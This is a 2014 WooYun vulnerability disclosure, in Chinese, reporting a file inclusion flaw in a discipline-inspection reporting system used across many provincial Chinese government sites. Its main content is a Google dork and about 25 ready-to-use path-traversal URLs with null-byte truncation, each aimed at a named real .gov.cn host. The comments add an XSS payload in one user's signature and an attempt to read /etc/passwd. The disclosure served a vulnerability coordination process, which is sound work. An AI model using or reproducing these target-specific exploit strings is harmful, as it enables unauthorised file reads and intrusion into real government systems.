当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-052012

漏洞标题：某纪委监察系统通用型文件包含(涉及全国大部分省)

相关厂商：Cncert国家互联网应急中心

漏洞作者： U神

提交时间：2014-02-26 02:42

修复时间：2014-05-27 02:42

公开时间：2014-05-27 02:42

漏洞类型：文件包含

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-02-26： 细节已通知厂商并且等待厂商处理中
2014-03-03： 厂商已经确认，细节仅向厂商公开
2014-03-06： 细节向第三方安全合作伙伴开放
2014-04-27： 细节向核心白帽子及相关领域专家公开
2014-05-07： 细节向普通白帽子公开
2014-05-17： 细节向实习白帽子公开
2014-05-27： 细节向公众公开

简要描述：

详细说明：

Google:site:gov.cn inurl:law_artile.jsp
http://yunnan.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg    云南省 
http://shanxi.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg    山西省 
http://jiangxi.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg         江西省
http://hebei.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg           河北省
http://shanghai.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg        上海市
http://sichuan.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg   四川省 
http://neimeng.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg   内蒙古
http://www.jubao.gd.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg          广东省
http://henan.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg           河南省
http://anhui.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg     安徽省
http://heilongjiang.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg    黑龙江
http://tianjin.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg   天津市
http://hubei.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg     湖北省
http://fujian.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg          福建省
http://chongqing.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 重庆市
http://shanxi.lvliang.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg  山西省吕梁市
http://shanxi.yangquan.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 山西省阳泉市
http://shanxi.jincheng.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 山西省晋城市
http://shanxi.datong.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg   山西省大同市
http://shanxi.jinzhong.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg 山西省晋中市
http://guangxi.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg         广西壮族自治区
http://hunan.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg     湖南省
http://xizang.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg    西藏自治区
http://haerbin.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg         哈尔滨市
http://xinjiang.12388.gov.cn/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg        新疆省

漏洞证明：

Example：
Admin：http://***.gov.cn/**/console/
http://yunnan.12388.gov.cn/jubao/site/law_artile.jsp?id=../../scripts/site.js?%00.jpg
01.jpg




http://yunnan.12388.gov.cn/jubao/site/law_artile.jsp?id=../../styles/default.css?%00.jpg



02.jpg

修复方案：

版权声明：转载请注明来源 U神@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-03-03 08:59

厂商回复：

CNVD在多个省份实例上确认所述情况，已经转由CNCERT直接通报给监察部信息中心处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-02-26 13:02 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    这个牛逼哦。

  2. 2014-02-26 17:36 | 无常 ( 路人 | Rank:2 漏洞数:2 | 移动互联安全关注者)

    关注中...

  3. 2014-02-27 18:51 | 7IN0SAN9 ( 路人 | Rank:0 漏洞数:1 | 渣渣業餘程序猿)

    当心水表→_→

  4. 2014-02-28 22:50 | 哟比 ( 路人 | Rank:10 漏洞数:1 | 哟比，一个默默无闻的白帽子。)

    查水表的快来了。。

  5. 2014-03-03 09:24 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)

    mark

  6. 2014-05-27 06:36 | 野驴~ ( 路人 | Rank:5 漏洞数:2 | 充满强烈好奇心的菜鸟。)

    同学，你的水表掉了

  7. 2014-05-27 08:30 | nzk1912 ( 实习白帽子 | Rank:41 漏洞数:10 | 软件开发8年了，也来挖挖漏洞，为创建安全...)

    学习下，它的危害是什么？

  8. 2014-05-27 08:50 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    解析漏洞+文件包含？mark了

  9. 2014-05-27 10:37 | 小学猹 ( 实习白帽子 | Rank:81 漏洞数:30 | 暮春者，春服既成，冠者五六人，童子六七人...)

    文件包含+截断吧

  10. 2014-05-31 16:44 | 随随意意 ( 普通白帽子 | Rank:160 漏洞数:35 | 我对XSS并非真爱(┬＿┬)最近有人冒充该...)

    有什么危害呢，乱七八糟中没看到路径什么啊，求解

  11. 2014-05-31 17:47 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    @wefgod 读不了jsp呀，etc/passwd也没读成功，我姿势错了？求姿势啊